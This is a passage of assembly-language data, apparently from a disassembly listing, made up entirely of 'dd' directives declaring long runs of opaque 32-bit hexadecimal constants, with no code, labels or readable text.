		dd 1FA3C733h, 120DF2E6h, 1EBD71C0h, 6870189Ch, 383E3953h
		dd 8835009h, 1EF3EC1Eh,	0C2976578h, 0E393C5Ah, 0A035ECEDh
		dd 0DE9A888Ch, 4A08D46Bh, 0E37B925Ah, 0ED01D0BAh, 0C4DE6F79h
		dd 4A101B28h, 0B738A4A1h, 43303671h, 36A0071Bh,	3F788D4Ch
		dd 0FF5FAB9Fh, 62363DF6h, 0A4B3EE77h, 2D8B984Bh, 5D62A99Eh
		dd 4699A6DAh, 60F531F2h, 0B3C8352Eh, 0ED1D3AD4h, 78C8A949h
		dd 0AE22E7A4h, 0DB75F468h, 35132A05h, 48C800F9h, 34E8CAh
		dd 0AE8A8C6Ah, 88AA860h, 0AEB0F172h, 6008DBCAh,	90F6A99h
		dd 0F906AC85h, 553AE309h, 0E7F0F39Bh, 2A0723EFh, 8EBF1E58h
		dd 4F1E470Fh, 7E5DD173h, 0ECB1E9BEh, 0C87E4E8Fh, 0B90B44B4h
		dd 0C1BBEE27h, 0F3DD6DEFh, 4A495D3Dh, 0C4E72971h, 7DCA6F2h
		dd 0CDA730DDh, 0DF573611h, 0C920BB6h, 4624128Bh, 0BB628B1Dh
		dd 0CEF83619h, 37A8C465h, 19D5D819h, 9E0B7812h,	0BC0E54D8h
		dd 0B034C09Eh, 0D693D199h, 4CC72F3Dh, 7BE141AEh, 0EEE044B2h
		dd 66EB9E78h, 63A36BC2h, 1EA307Eh, 1E4B3223h, 42BD19BFh
		dd 94FF00E1h, 39A56EDAh, 6113498h, 16A1C36Ch, 3581DE3h
		dd 0B26C2723h, 0CC6066C4h, 1C77DB58h, 1E3E682Ch, 812583D6h
		dd 0CD7FCF3Eh, 2ED4FD8Fh, 0CE1E263h, 875A3FC8h,	860F8BEBh
		dd 0EC34D005h, 62913F01h, 7ECFE231h, 26E3D4C7h,	0DFF3DF36h
		dd 27153419h, 126BE61h,	84F333C5h, 0C951D8CCh, 0C2A3E00h
		dd 8E92E2F0h, 6468DB48h, 0E24B4631h, 0B93C1012h, 109A2E9h
		dd 99030A82h, 13D98872h, 0D1FD7FC7h, 0A6E4F0F5h, 4D1B89A9h
		dd 935E384Eh, 95F36960h, 121C3E67h, 4B99DE14h, 9978F2D3h
		dd 0A1AE3FFh, 6D6262E8h, 4E8CA418h, 0A3926798h,	0B93FF55Eh
		dd 0CB027991h, 20A0E91h, 0E83A4004h, 8237F3C4h,	40E01466h
		dd 0FCE76544h, 32122E32h, 0D0C84F46h, 48FB48B0h, 0BAEF9DC5h
		dd 0B02CD1BAh, 0E671D69h, 0FC65A12h, 0B77A8373h, 89B53593h
		dd 47E95125h, 317852F3h, 0F10A9619h, 0D1D8E043h, 0ABE1C475h
		dd 0B504C92Eh, 0B021038h, 4823F433h, 0DF2189C7h, 9325B160h
		dd 1B680900h, 0F6F69BD6h, 60E3AFA9h, 81CF2531h,	170EBE55h
		dd 9333645Ch, 0A22A1C29h, 39F53E9Fh, 8A359Eh, 288D4D53h
		dd 0D43E2DFFh, 0ACB2C2DBh, 0C354BE44h, 5C17C306h, 0FB8CD4E2h
		dd 57E3563Fh, 1450A035h, 0BA6687AAh, 4DC06B46h,	5D4772Ah
		dd 0D1F9BCEh, 0B9D15820h, 9E183959h, 0BA7DB020h, 9DA45C5Dh
		dd 0E5E858C5h, 0FCD03E60h, 0AA6225Bh, 0AC0A525h, 0D99478E6h
		dd 0B0F869D2h, 0A0CE9CD0h, 0FA160A9Dh, 57429811h, 54F92EA3h
		dd 9CEC85B8h, 0FAE93E80h, 0D94EA480h, 1E08465Fh, 342498D1h
		dd 0B23ABE7Ch, 3615E457h, 26AFE02h, 1D8CE578h, 900E1057h
		dd 60A778B6h, 0A49211CBh, 169D5CA6h, 74427575h,	0FE8B2477h
		dd 6C8001A8h, 8BE2E842h, 944F5FA6h, 4EA41ED7h, 19809AFAh
		dd 41DBFFBEh, 6B1CBD97h, 0AE323531h, 9FED549Eh,	7FF42F26h
		dd 0C542BD6Eh, 7E4A7C82h, 5CFD4D60h, 6915BEF1h,	5392BBCCh
		dd 0BE04EC6Bh, 7ECD1A7h, 0B8CDEF25h, 0C02091B3h, 0A359D567h
		dd 7F580EB3h, 0C16855DFh, 0E4CA4DD2h, 259A41DBh, 0F7693986h
		dd 44A403DFh, 8483D817h, 40EDDDEAh, 0A29DFF78h,	110A3FB4h
		dd 0FBFD0EF8h, 78DB4588h, 4F40B719h, 0F82B8558h, 0B1A2427Eh
		dd 0E8597079h, 8F047B0Fh, 0B446687Ah, 0C47BDBDAh, 63E85E6Ah
		dd 242C7F97h, 0A546F51Dh, 7C640410h, 0A8AC86D2h, 0CDFEE0E8h
		dd 0DA6B37F7h, 0C90E486Dh, 74632D13h, 910F93BAh, 0C73027D5h
		dd 0F453540Ah, 0C58053A5h, 0A5CD8245h, 0D25CE259h, 0AE72DB6Fh
		dd 0BE982647h, 122848Dh, 0C7653A07h, 6CDB5986h,	0FFDC93DCh
		dd 0FFA92AE9h, 0F063560Ch, 6360274Ah, 0C55B8497h, 3A63B510h
		dd 97FE271Eh, 787CBE68h, 2FD9C5C7h, 5A136FD3h, 6554AA4Dh
		dd 1FECB30h, 0D3201A97h, 0AD0036BAh, 0AD03BF67h, 8F32DBCAh
		dd 0B9CBA346h, 0DB5EC0ADh, 0F2859928h, 0CDC52B6Fh, 0D3D62A60h
		dd 0CD8CE7C8h, 67F00517h, 661F77Ah, 0FC3B589h, 3B2E5BF6h
		dd 0A2B61C6Eh, 1748C0A2h, 92BC1143h, 0BBB0959Eh, 0AAE268Ch
		dd 5101DC42h, 0E2795C08h, 49C93819h, 2C160907h,	37C761A2h
		dd 0E7BAA1AAh, 8597F8E1h, 0D3659108h, 9C3F9B37h, 580C0117h
		dd 0EE3300D5h, 85484D1h, 853A5C56h, 0E88B5D0Eh,	8347C50Ch
		dd 7B82DFECh, 0D1FD9E3Dh, 9EFEA6B5h, 0BF385146h, 0A1A3FE93h
		dd 60B2ECBAh, 0D35435E7h, 0D8A2B36Bh, 57D8CDE4h, 8716C13Eh
		dd 989BCE69h, 3B7972DCh, 1B4E6240h, 655763A0h, 796C1B2Eh
		dd 37D4C77Bh, 22B3E868h, 0FE1D5E39h, 0BE0F8624h, 2579D5DFh
		dd 0C0651960h, 9189AA7Dh, 0A59F5EDEh, 952951E6h, 938C2636h
		dd 7F9C2AAFh, 0F691C845h, 7B5F77D6h, 0FCB61DA5h, 3EB26D54h
		dd 829BA2Eh, 0AFE2C013h, 0B23005D9h, 11B2A179h,	833E9318h
		dd 0AEA3F1D9h, 366EB0FDh, 0A5B47E7Fh, 508BF7E0h, 0A3E9DA6Dh
		dd 979D6BC4h, 5FA20D17h, 4851CB49h, 885A26F2h, 6C3AA183h
		dd 0DE163BC4h, 0CF3A090Ch, 9EDC0F2Ch, 9E03DC26h, 0AAAA600Ah
		dd 9974DE26h, 0E16B8594h, 0E1D98D2h, 32C94C1Bh,	66BE21BAh
		dd 0F4343952h, 0B4A7A4A0h, 511174F2h, 0BD4F7A4Eh, 0A44CA6FBh
		dd 0B2723001h, 7661FBC3h, 7B518F6Eh, 0CF40B45h,	0C31CCD48h
		dd 67D813B7h, 40BDCEF2h, 0F122172Bh, 0C2FE8E81h, 0AED43786h
		dd 7D1003C2h, 0DC853D4Bh, 2ED1FCA8h, 0B1CE0D8Bh, 98477C3Fh
		dd 8A16DB6Ch, 0DBFE1A18h, 0F9412DFEh, 0ACFAA760h, 0F5147027h
		dd 6C171857h, 1EB1BA05h, 2361CD87h, 2381C855h, 2E23C491h
		dd 77D9B566h, 0FB2F71F3h, 6D1A67D3h, 0A43EA361h, 0C490E991h
		dd 0F89DAD5Ah, 67E44309h
		dd 0E53DF4E2h, 9C3D11FDh, 0BEBDA8E0h, 4C06BD5Dh, 5DDB4C32h
		dd 0E8ACCB76h, 0ED6E09Eh, 0C0B4BCA9h, 8F764C94h, 0E384A879h
		dd 0A0D62C14h, 0FC16F242h, 6E330052h, 0A626949h, 0C4CC8C30h
		dd 5176DE17h, 0D5F5CC21h, 8106FB5Bh, 0D3511494h, 78BEB0Dh
		dd 33E34DA3h, 98B3098Eh, 2EF49222h, 0F0F64152h,	89041DAFh
		dd 0D14FB7A6h, 632B09E1h, 3C495CA1h, 0FDB20529h, 39D7A856h
		dd 19C0B691h, 6B9FF696h, 98D324AFh, 43733528h, 425067B4h
		dd 0D155266Ch, 0F7246C9h, 49814926h, 0EEDC4DEh,	0E0DC320Eh
		dd 0FC66D8C8h, 0BDA02940h, 32CD9274h, 48BD8100h, 3FD544D2h
		dd 1A89E834h, 7F987D04h, 6F8B2956h, 33A58CEEh, 0D99A76D9h
		dd 68688758h, 0E41A94F2h, 1D34CBDDh, 0C25CA4EEh, 0F6BD56D9h
		dd 25EAD252h, 7DCD47DCh, 44E076B6h, 396CE565h, 9E0C54AEh
		dd 465E952Ah, 12C67AD8h, 0A478E526h, 2FD1EEF0h,	0AD9CC7FAh
		dd 15F8AC9Ah, 0F7ADAB06h, 0C1D523F7h, 0E75D10CFh, 594E0B2Dh
		dd 0ADAC9B7Fh, 0FDE75FAh, 0AAED9920h, 0D915F6E4h, 9474FF1Ah
		dd 0E5AAE0AEh, 0D310032Eh, 3943EC4Eh, 0A5C18046h, 0FDA4EFC9h
		dd 91AEA3F5h, 60F33B73h, 3110E44h, 0F7191603h, 936C303Bh
		dd 4E48F816h, 0EE608ADFh, 4C1EF012h, 350DB080h,	1DDC3F3Eh
		dd 327A3B2Fh, 8621B3DDh, 0A538D351h, 4B2DF5C9h,	2BCADA16h
		dd 64374710h, 0C10A5DDCh, 89636D8Ch, 3738AC99h,	0E26FDF37h
		dd 4CF9C3E7h, 0F8600B01h, 629FEE15h, 479EF929h,	2BB87FC7h
		dd 404DB7B5h, 3FDAA5B3h, 7124D216h, 11376FD4h, 4D925496h
		dd 0C5032410h, 7E3E253h, 266DB301h, 0C562AE2Eh,	752F22F0h
		dd 49763D8Ch, 0F72681E5h, 0BC9C3EDEh, 0B0E662C8h, 80F937EFh
		dd 0D492EAF3h, 0FA4BE937h, 0D47DA9B8h, 44994F63h, 642595CAh
		dd 0C478EF48h, 249A48EFh, 1487CC14h, 0AED4D1BFh, 0BF323C61h
		dd 7C3E4D0Ch, 0E9B88AF7h, 0D629CE6Ch, 9A924B15h, 5962E45Fh
		dd 0ABE2CFBh, 2F61D43Eh, 6EE0200Dh, 0B6449804h,	307FE85Ah
		dd 521139E3h, 9C89CDA2h, 0C20E8C3Bh, 1FB1D843h,	2DE5505Eh
		dd 0FE6A95E6h, 0B47E4B99h, 2BB1667h, 38E7356h, 0EF13451Ch
		dd 8A007A57h, 0D4A7ADB4h, 18E2E185h, 781CD3A2h,	0A1F67D6Eh
		dd 0E628263h, 3808CF3h,	0D3B40FB7h, 0EBC039D2h,	0B117AFE6h
		dd 0A91A849Dh, 5326FE91h, 0EDAAE301h, 6CDA544Fh, 95AD1FA1h
		dd 7B1AD2CCh, 377BD40Ah, 288E30C8h, 0A87DA644h,	0EF7EE05h
		dd 0F794A62h, 87D67149h, 0D8107C6Ah, 0A2BC611Eh, 6E724AA1h
		dd 87BE767Bh, 63FCA40Eh, 0D7D10682h, 0E78B39AAh, 22223ACCh
		dd 5F7F9D56h, 472D5714h, 1CA3D867h, 0AFEFD0C5h,	819985CAh
		dd 3FC06508h, 0A0CA8A6Bh, 0DB94204Fh, 607F8392h, 93A8E5D2h
		dd 9BA7BAF0h, 94A6A7B0h, 56854B89h, 2BD2BC85h, 3100E74Eh
		dd 416AD49Fh, 0A84D795Fh, 0D9BBDEA4h, 34472B1Ch, 173C7D29h
		dd 0B234CE16h, 0BF36D84Eh, 8C25BCC1h, 0C1CDC04Fh, 5470EBE6h
		dd 445B2793h, 7A42FF09h, 0FF11A396h, 5910ED32h,	0C7B223A6h
		dd 286BE3B0h, 0FD17433Ah, 711B5868h, 0A17F627Eh, 69E55F37h
		dd 22B3CBCBh, 0A65E8D97h, 8DCA0E78h, 99518823h,	0B2ED510Ch
		dd 5A73B76h, 888621FDh,	7FEBA010h, 0A26D873Dh, 0E4568027h
		dd 666396C9h, 2D9EC5BFh, 0F75ECB01h, 52D43A5Eh,	0AB04A68Dh
		dd 8154DF0Ah, 0E8BA6890h, 0A737462h, 62EBB6BFh,	897206Fh
		dd 8E3D926Dh, 3EB4E871h, 8512C105h, 85D71505h, 534664B6h
		dd 0D72D4CE0h, 2D567523h, 3A57560Bh, 4845D3CEh,	0A7008D7Eh
		dd 6419A9DDh, 0ABBDB7D1h, 857B3106h, 0C2B6C6D7h, 0C9D22EA4h
		dd 5786D36Bh, 933A4053h, 82D24F52h, 782D291Bh, 778B806Fh
		dd 0A43778B6h, 6415ABC2h, 0AC31CA90h, 60BA3834h, 54FBFA49h
		dd 92BCBD0Eh, 87CAF790h, 0E1B8D46Ch, 0D3DC9941h, 4AFB3F7Ch
		dd 4A6D34D4h, 0B3C7D543h, 2EB676DFh, 0F474EAA1h, 7CD27700h
		dd 56039596h, 141975EBh, 97C6EC64h, 75DB8A14h, 840FF2DEh
		dd 0B051E026h, 2F54FBCAh, 6A6988DDh, 0A3064A7Bh, 0A5F82AC0h
		dd 0AF0F0AECh, 50F48841h, 6D768EAh, 76523379h, 3E7E3EF9h
		dd 0C980D4C7h, 934AAFA8h, 0B33F5FA7h, 0ADF25262h, 76D09FA8h
		dd 4B6C6DA6h, 80D6B346h, 138967Bh, 1387F284h, 0D6DD3148h
		dd 4AE5AFh, 60190A59h, 0D5B83BB0h, 36880DE4h, 0C57CE35Ch
		dd 5D4007DFh, 15667C0Bh, 0B6C1801Ch, 7D3EAAF4h,	9574B676h
		dd 0E01C260h, 45E453Eh,	82616E0Dh, 0F5AFEC56h, 7836209Ah
		dd 7241CD24h, 9EB734A7h, 0CAE7A3E5h, 0B0B84109h, 0E1C80449h
		dd 0FB19C9E6h, 0DFBD3F01h, 0A134E52Ch, 0BBE206F9h, 32B6EB07h
		dd 0B23C04F0h, 0ADD0E7CCh, 439181B9h, 0AC26A2E0h, 0B12C9E28h
		dd 181DA3AFh, 4C232A9Bh, 62B0F643h, 11B7A5ACh, 90704E20h
		dd 23753EE3h, 7B34CE9h,	0C852037Ah, 0B9F51566h,	190EF2E6h
		dd 278DC260h, 7E46E736h, 6F98DAA6h, 0EA8F27D4h,	629B3A83h
		dd 52006801h, 1AFFDFE8h, 28C4F543h, 7BF1B096h, 3D9ED08Ah
		dd 9A9B3629h, 0AC840D07h, 55E55DD6h, 0AEEC3170h, 441905ACh
		dd 7511B84Ch, 25F33C79h, 682ECEF8h, 0D91F7820h,	944A5D8Eh
		dd 0AFED656Fh, 235BCD07h, 407F42ADh, 0FD1CFC0Ah, 0DB51D8C1h
		dd 3875126Dh, 372B2A30h, 9AF40A2h, 0CDACDDEAh, 3FA7FB70h
		dd 6EF142A2h, 8CDA6CC4h, 0D764895h, 0A6956F0Dh,	5685C545h
		dd 572891ECh, 9E044BFEh, 0F86D520Eh, 1FD49E22h,	4D5A53CDh
		dd 0F4E87E87h, 897596C7h, 55CCEF11h, 7CF548C9h,	7C3D7013h
		dd 92649A0Fh, 0C4B01C57h, 47C2619Ch, 0F88CA444h, 9AD2D1B8h
		dd 0FEC8D8FFh, 0D9764303h, 4C79BA34h, 3415CC7Eh, 0A697B2Fh
		dd 48EA9088h, 1770403Eh, 7A5621C1h, 47003067h, 2AD26783h
		dd 48439298h, 3929CDE8h, 0A7F74506h, 786EA452h,	47C7920Dh
		dd 6CF01F41h, 0F8D83433h, 58D8379Bh, 2E73DD64h,	46659285h
		dd 919A9B63h, 188B1E11h, 94F1EAFCh, 0EB49866Ch,	70A5CF5h
		dd 82A83305h, 0DD5B2E0h, 0A4DD98Bh, 7DB2C679h, 6A26B3BAh
		dd 7AB8FEAEh, 0B4BEEFCDh, 5CCDF57Bh, 3B6CE643h,	0E272B272h
		dd 3E6930ADh, 0FC4569B9h, 3D19EE55h, 823E6D7Eh,	8CB6B969h
		dd 8D59978Ah, 0EEBCA81Eh, 0DC9056D0h, 241EED25h, 679D7629h
		dd 0DB2A0582h, 8498FAFh, 0FC76768Bh, 42C0E3EEh,	3057106Ah
		dd 2F73D6DEh, 56E001C9h, 0B9749805h, 560023DFh,	0AE20DDE3h
		dd 0EF684977h, 43E5019Bh, 0F057619Dh, 0FC2FFA54h, 32D2A18Ah
		dd 0FD09F15Dh, 0D166BB0Ch, 0B5E50404h, 0C3803013h, 8A51937Ah
		dd 0CB20F096h, 0C73E11B2h, 322944B3h, 0C89D29BAh, 0DA700339h
		dd 0FE415AB2h, 475874CEh, 0AF26F3ADh, 0A735AAA5h, 31C9FB29h
		dd 70E89DB6h, 92326645h, 804937B9h, 298998DCh, 26251362h
		dd 0CBCB5207h, 3152A617h, 8C0F4395h, 87C3BCBCh,	4FAB6398h
		dd 507D977Fh, 0FD88A39Ch, 0F2ACA772h, 0C0460619h, 5BD52C01h
		dd 343A3ABFh, 2225FC70h, 801FC00h, 4A5B3DA6h, 70BB8271h
		dd 996F5A91h, 9EDD335Ch, 0AF0CB244h, 0A4C80BB4h, 7689F0EFh
		dd 0B7EBA6D7h, 0CBD51BCFh, 704FA3E6h, 0CF095C9Bh, 7C8F26BEh
		dd 5C68ED2h, 0B7250DDDh, 6FE90DFh, 5D649347h, 5FA11F72h
		dd 704D61AEh, 638D4D95h, 95935977h, 0BB493AE3h,	0A54D372Bh
		dd 9AD7E8Ch, 75474AC7h,	591CEEB5h, 0E6439B98h, 67848474h
		dd 44C7BB2Bh, 14CBBF66h, 3A048440h, 5433E8C8h, 0AA109635h
		dd 0B09B0F8Ch, 9DDACA34h
		dd 0A19985C8h, 0F574B778h, 626808A8h, 0B47A202Fh, 3D93588Eh
		dd 590F7B22h, 4B39EED2h, 0F863083h, 6FE1EC8Ch, 0A33F224Ah
		dd 0C4A0BBE5h, 200759BDh, 0E1BAD76h, 0A7A3A5C9h, 6A831734h
		dd 0ED90F964h, 87B3FBBEh, 0C3E73359h, 3EFD5343h, 0EDAEB731h
		dd 66B52662h, 6FAC095Dh, 6A874B5Fh, 0AF817364h,	2338F236h
		dd 827FAAE0h, 0C09FDD7Ah, 42C9161Bh, 0DA36EF5Bh, 71C112F5h
		dd 80A03042h, 885DF642h, 1F61141Eh, 9EEDF9ECh, 0EF0818BCh
		dd 6AE2F52Ch, 52BBA014h, 779D63D1h, 10B37769h, 0E626689Dh
		dd 7E69FB35h, 21A1AFD8h, 0EFACAFB7h, 0E5C65D43h, 0B35EA6E0h
		dd 1859099Fh, 9E159DE1h, 0D61B7898h, 44C26671h,	709B0823h
		dd 0DFCB702Bh, 0B71D5329h, 688BA897h, 0E0E57A81h, 0ABC4B5A1h
		dd 9F39BFBEh, 0D9DE6B7h, 306723AAh, 8F5FBDEEh, 0F59A2E6Dh
		dd 491239B7h, 7345280Fh, 0C4B2F233h, 6401B132h,	98CD17D4h
		dd 0F1B618DDh, 9CD9EE7Fh, 0B2B01A3Ah, 0D29E3740h, 16CEA8F4h
		dd 6ABAAF53h, 306BA0DDh, 0F84D3871h, 0C349561Ah, 0CF088D99h
		dd 0D3C00A74h, 0F3C87F86h, 17282587h, 8B582F1h,	32BAE203h
		dd 3FE94DD3h, 36608D75h, 62A4DF9Eh, 624660EFh, 9647FB55h
		dd 6F8088ACh, 0B0D513F2h, 98ABA36Ch, 0E5916A32h, 0C5660B65h
		dd 0A9225CB2h, 0DF06DBDBh, 0ABE53A9Fh, 0A4E81BE3h, 6A3D8C56h
		dd 8635AE11h, 100C0B92h, 0A5D24C9Ch, 6127D1A1h,	583A2CB4h
		dd 8C5033Ch, 0F30F8C5Ah, 55FA3FFCh, 0B02E92DEh,	0A737F9D4h
		dd 0E26BBFEEh, 8AA306DDh, 592ECBD8h, 0FAC1479Eh, 3B69EEF8h
		dd 9D76B0B0h, 0D98BE9D9h, 0C6232DFDh, 0A49CFAh,	8984CA67h
		dd 81757DA3h, 0DE6A3C7Fh, 726AF203h, 0A983AF78h, 195A20CEh
		dd 9B82651Fh, 5C042CC2h, 0C1CB3E14h, 12EBCF8Ch,	83DDDC7h
		dd 93843490h, 4D447BA8h, 0E5356640h, 0D4995D23h, 887FECDEh
		dd 0E7D7FA0Dh, 0E4B6A7AFh, 0A20597CDh, 0A14B74F1h, 461C2D2h
		dd 0FFDF7A89h, 0E625BE22h, 24EDAE1h, 941932CBh,	0A36A8B31h
		dd 0E24E50E5h, 566D3AFEh, 137BB90Dh, 385DE69h, 6AB49C54h
		dd 3A2FDF15h, 75EA7DB5h, 0A192CBFDh, 999BA94Bh,	0E752E109h
		dd 0A1B97630h, 9F01864Ch, 17C06428h, 66FD915Ah,	0FDE3E5C8h
		dd 0FFA2D79Ch, 0CAB52A84h, 0E9E431E5h, 63FE2FE6h, 3F5D0A14h
		dd 0E21A1BDBh, 0E51F61C7h, 9FB57E35h, 0EBA59ED3h, 0B22552CFh
		dd 0BFCFC901h, 0E41326BDh, 7FF4CD85h, 3D9BA6A6h, 20CF2AD8h
		dd 0A125A0E6h, 0E0F325A9h, 6AD19BF8h, 6069A9AAh, 0C8FC6C3Dh
		dd 0CB776E82h, 362A9AF5h, 56FA6511h, 0B92871CCh, 8A9DEAADh
		dd 0BBC17D55h, 80A99432h, 813AB7CDh, 0A5DAB1CBh, 1092A8A6h
		dd 0E0C7AE8Dh, 0A70E6F9Bh, 987636ACh, 6E9C29FEh, 0B96C0221h
		dd 5F61C7AEh, 8D4879F6h, 0D674C8D0h, 0CA21BD3Eh, 9FD4A210h
		dd 4E8EA07Fh, 0A690BFE1h, 2ECED991h, 60A9E027h,	349A4DADh
		dd 63DFF314h, 113E9882h, 6A919BD4h, 6DC1887Eh, 987649D4h
		dd 44809019h, 64669822h, 0C5CC790Fh, 0D7314BBFh, 0D0370662h
		dd 4C3332BCh, 254F36D2h, 98C68C0Dh, 11BF2809h, 0D3021D8h
		dd 8516939Dh, 0FA404767h, 39FE9312h, 2B6FF738h,	1466F6A5h
		dd 45291654h, 4C45D9C7h, 0E578F722h, 4D15C284h,	0F088206Fh
		dd 0A05E0E76h, 6AD04DDAh, 36B48DDDh, 0D4E5CEF8h, 1A4489B2h
		dd 2B66F4B5h, 0CC8C0DF1h, 0CF0CC8BAh, 7D70BF57h, 0D40031F5h
		dd 2E24CC5Dh, 1A836F43h, 4308778Bh, 9FCED52Ah, 0F387E790h
		dd 1F8880EEh, 0BA4A03D1h, 4E1ED43Eh, 3F867B70h,	0C77A5C7Fh
		dd 2E52A283h, 84B2425Fh, 9A07C11Eh, 0AB103A6Bh,	653DEE1h
		dd 0BC88205Bh, 7DED5786h, 0CFC3B402h, 0B62BDD35h, 4F02EF15h
		dd 8B958E95h, 5709714h,	3ACDCDF5h, 0BE08B5DEh, 1746412Ch
		dd 5BC885DBh, 0DD67C07h, 0D06F7E75h, 9CE484C5h,	3830284h
		dd 3DBE65A1h, 1BD9DD23h, 0A13844A5h, 29569700h,	0F200BAFBh
		dd 8C6A0311h, 6420E32Ah, 357BC2C1h, 0E7CE8F42h,	0CC520B22h
		dd 728DCA10h, 467BE3D8h, 21432B4Eh, 4C67644Ch, 41C06C1Ah
		dd 5FD6BE76h, 0A1B153E0h, 5B9AEB44h, 95B8BE19h,	0B6F86C27h
		dd 0C62AF24Bh, 3823C0DEh, 0AA1AA97h, 0D1DBF514h, 0BE174F80h
		dd 84CC338Fh, 0E0A78876h, 0AD7036Dh, 8B3424D2h,	6E3E7866h
		dd 7EAE3BA8h, 8E5A1A8Ah, 1AA815D4h, 0F3A1E16Ah,	0FC3594FBh
		dd 0A3ABE5DBh, 0D181E220h, 940FFEF0h, 5631E174h, 822B077h
		dd 0FCBE0A42h, 0CB593A3Eh, 0CB0947A3h, 6F06A7A1h, 1C6F3A70h
		dd 80579DA4h, 0F935A6ADh, 202555DCh, 0F98E07ABh, 0A1366999h
		dd 9FE82D32h, 0AABBF436h, 0CEC843Ch, 0D50053D1h, 8DA37678h
		dd 0E2A0CC0Ah, 0DF698B08h, 9B8D408Ah, 3703C2A6h, 84D7D491h
		dd 7A939494h, 79A63AA1h, 31BEB543h, 0DC719A41h,	2D2A8286h
		dd 0AC6C6B0Ch, 564DEE25h, 0B928EDE9h, 836A3A06h, 96BDB2ADh
		dd 662FBC2Bh, 41DBF056h, 186582h, 121D6329h, 0AC87625Ch
		dd 89D6C9F0h, 5C94B639h, 0E9BE280Ch, 0FE12F226h, 0E6F71C6Eh
		dd 707B222h, 0CA636151h, 0B986E435h, 32339A9Eh,	12DBD713h
		dd 3CBC7EF7h, 0F27F17BBh, 63EB2A3Bh, 2EE5DFDDh,	5A44402Eh
		dd 98249D20h, 7B05EB7Ah, 841F02E4h, 0FD3339Dh, 58AFF9EEh
		dd 71261E22h, 386A452Fh, 0D386277Ch, 0B5DF1B1Ch, 880B2E20h
		dd 77AA276h, 21C37561h,	737E0C54h, 810CE739h, 8A9008BAh
		dd 7CBD9DBEh, 1FF7F63Bh, 0C3E8B54Bh, 0F774C5DBh, 258E09B1h
		dd 0F392985Bh, 949F552Bh, 0ABAED0F7h, 0E5E14A2Fh, 9B4B958Eh
		dd 0F11FD2E0h, 0AA8EC92Bh, 0EF4C3A51h, 0E9205E24h, 211AFEF7h
		dd 8CF956B0h, 0B5353FE4h, 0D6B2F182h, 3845A227h, 59902C02h
		dd 0B72DD540h, 82147BF6h, 50F222BCh, 15F91AD8h,	0B643DFE1h
		dd 89CD881Ch, 2750E2FBh, 0E13D2CA1h, 0F5ED2946h, 428519FEh
		dd 0D9F64CBDh, 9B0B8A52h, 9878BF1Fh, 25C75BF4h,	2CFFA8A1h
		dd 4237EFFCh, 9E99A66Bh, 5BC4BD7Ch, 258D2649h, 4CC64890h
		dd 123BF55Eh, 6F1AA0EBh, 82FCC77Fh, 23098556h, 3FC73140h
		dd 14CE4E0Dh, 0CE0B5F08h, 473EF438h, 50A806F3h,	0B5F2F21Fh
		dd 0BBF06791h, 8421A79Eh, 0EB8D9ACCh, 7C021B2Ah, 5BB1BF75h
		dd 6EE0D4B0h, 1EDD1F8Ah, 0FA4E8CF3h, 6DB81BC7h,	0E6C2524Dh
		dd 108FA45Eh, 0BDBD8601h, 9B8AEADCh, 0E303E484h, 3D3339F8h
		dd 0DB70EAA6h, 22C70A62h, 0EE2E96Ch, 0DD268C6Ah, 44D0AEC7h
		dd 0ABE62314h, 0C056CDF3h, 0CC70C87Dh, 37168361h, 17A8FD07h
		dd 6CD01650h, 4807E35Bh, 2F6FC227h, 0E90832FFh,	0E7D262BDh
		dd 33465723h, 1D3519C7h, 56D28400h, 0B7165E50h,	0A2CB0BBEh
		dd 0EF043C3Fh, 0CB5344CDh, 9C69368Bh, 0BC0F7AAFh, 206F6484h
		dd 1A82BC13h, 0E2FBD463h, 4EB6B8C9h, 0EA2A36DBh, 7F7FEB62h
		dd 7E675D8Dh, 52F8B054h, 0A824AC25h, 89823BE0h,	8E2576F6h
		dd 0D897C2FEh, 358993E1h, 1A09728Ah, 463BBEADh,	9EAA4A9Eh
		dd 55B79E57h, 292DA24Ch, 545E11A3h, 255834FAh, 32118231h
		dd 0A33CEE05h, 0ED838FD8h, 346A147Dh, 56F891AEh, 0D8F3663Fh
		dd 1B604FE1h, 0CF101ECBh, 4CFFC125h, 3356146Fh,	60244710h
		dd 3F871716h, 0A924C69Bh, 0C286C62Bh, 2CDC37FEh, 0C9BEA0ADh
		dd 0FDDC0BD1h, 4D239BD9h, 4B0916B9h, 0D3955CAFh, 651E4222h
		dd 5D00338Ch, 9F147397h, 0FC900F4Bh, 0EFFAD16Ch, 0C15A558Ch
		dd 0C1393F6Dh, 148BBB15h, 0F116F2C2h, 360A3012h, 0FB010C3Fh
		dd 2376B13Ch, 49702844h
		dd 0B5742CFCh, 604D5BFAh, 0F1572650h, 6AC0CA3Fh, 6A20F922h
		dd 366E6881h, 0BE22929Dh, 0AE6F801Ah, 0A6C94B0Fh, 483997E9h
		dd 0EEAA3B55h, 0A03AF9E2h, 6AEBC578h, 0E0EB2C5Bh, 5C8B320Bh
		dd 43F5186Eh, 0B6FBC387h, 4AA5CEF8h, 1B7C904Eh,	9E884280h
		dd 9302A3ABh, 0A0CDD0F5h, 21C41075h, 0A628BD63h, 0CA76FBDh
		dd 0A59BE0EDh, 0BB81A0ECh, 0CB70A7D0h, 73C0BD8Bh, 521A6F08h
		dd 0ED719864h, 16CEA81Bh, 59D30DDDh, 0AEFD9561h, 307A9967h
		dd 2D5A1BA4h, 0D5125333h, 0E11260B1h, 28E363ECh, 0DD293224h
		dd 8F4127C5h, 2F26AE9Bh, 76BBF96Fh, 59709F73h, 5FDD0B33h
		dd 392E6D0Fh, 99FD2066h, 89CEE63h, 46327F4Ch, 373A92D8h
		dd 0F4820909h, 456FDB09h, 1F1F2354h, 0DF807B30h, 38765CDh
		dd 0C672520Ah, 4B096292h, 0C6A32243h, 288B7FA0h, 0C510FF65h
		dd 0F0F63576h, 0E701AFCBh, 36203A96h, 6E5F9BB4h, 0AD265BA0h
		dd 1C323E0h, 49AB4625h,	509E0D42h, 5A2487AFh, 0BC218E0Ah
		dd 9DEFE52h, 0EC2E80DCh, 830FF7A1h, 0AD57157Dh,	420C8B7h
		dd 67C348A0h, 0E1C46FD4h, 0AB28267Eh, 0DFACA1A9h, 4750DCC4h
		dd 0A8FCB8A3h, 79A15661h, 2245E911h, 87AAEC52h,	0D64245D7h
		dd 0EAC6C04Eh, 38EF5E4Ah, 0CE829992h, 0B46928EBh, 0A809F0E5h
		dd 4720644Ah, 6871148Fh, 718DD01Ch, 0A705DE67h,	0BA7ECBC0h
		dd 6ACF825Ah, 0B9991DF0h, 0A65FB67Fh, 0F7A5607Eh, 1ED3B3A4h
